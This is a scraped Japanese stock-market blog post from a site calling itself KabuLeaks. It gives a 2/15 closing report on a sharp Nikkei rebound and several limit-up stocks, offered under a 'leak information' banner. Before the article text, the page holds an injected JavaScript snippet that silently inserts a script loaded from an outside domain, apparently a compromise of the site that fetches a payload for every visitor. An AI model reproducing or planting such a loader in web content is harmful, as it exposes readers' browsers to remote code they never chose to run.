;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/15 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/15 大引け】

本日の日経平均株価は1,069円高と大幅反発。後場は中国・上海総合指数の下げ渋り、為替の円安が一段と進み輸出関連企業を中心に上値追い、ほぼ全面高の展開が継続。ただ、大引けにかけては戻り売り、利益確定売りに押されやや上げ幅を縮小。業種別では全33業種が上昇し、保険、ゴム製品、証券・商品先物などが値上がり率上位に。

個別では、正午に16年3月期末配当の増配と1対3の株式分割を発表した【2222】寿スピリッツが急伸し、ストップ高まで買われたほか、先週末決算から通期上方修正の【6728】アルバック、今期大場増益見通しとなった【6054】リブセンスもストップ高。また、東証1部への指定変えの【9514】ファーストエスコや好決算見直しの動きから【2183】リニカルなども大幅上昇。また、メガバン3行【8411】みずほ、【8316】三井住友、【8306】三菱UFJも直近の大幅下落から本日は買い優勢となり新興市場の銘柄なみの上昇を見せ急伸。

日経平均は今年最大の上げ幅を記録。大引けやや売りに押されたが引けで1万6000円台をキープした。目先、更なるリバウンド、25日移動平均線付近までの上昇も期待したいがボラティリティの高く、本日の大幅上昇も一転帳消しにするようなだけに要警戒。短期売買の吹き値売りのスタンスを継続。